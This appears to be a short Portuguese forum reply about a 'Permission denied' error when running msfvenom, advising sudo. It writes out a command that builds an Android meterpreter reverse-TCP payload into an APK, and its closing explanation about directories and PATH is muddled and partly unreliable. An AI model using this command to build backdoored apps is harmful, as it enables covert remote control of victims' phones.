Se você correr
msfvenom -p android/meterpreter/reverse_tcp LHOST=ip R > filename.apk
de um local que você não possui ao criar o arquivo filename.apk
resultará em Permission denied
. Essa é uma medida de segurança bem conhecida no Linux. Nesse caso, você precisa de "sudo" na frente do comando.
Significa que você provavelmente possui esse diretório e qualquer coisa nele ou os parâmetros esperados podem ser encontrados em /opt/metasploit-framework/
e não em outro diretório (que será relacionado à variável PATH ou ao configurar as variáveis de ambiente). Impossível responder, a menos que você edite as mensagens em sua pergunta.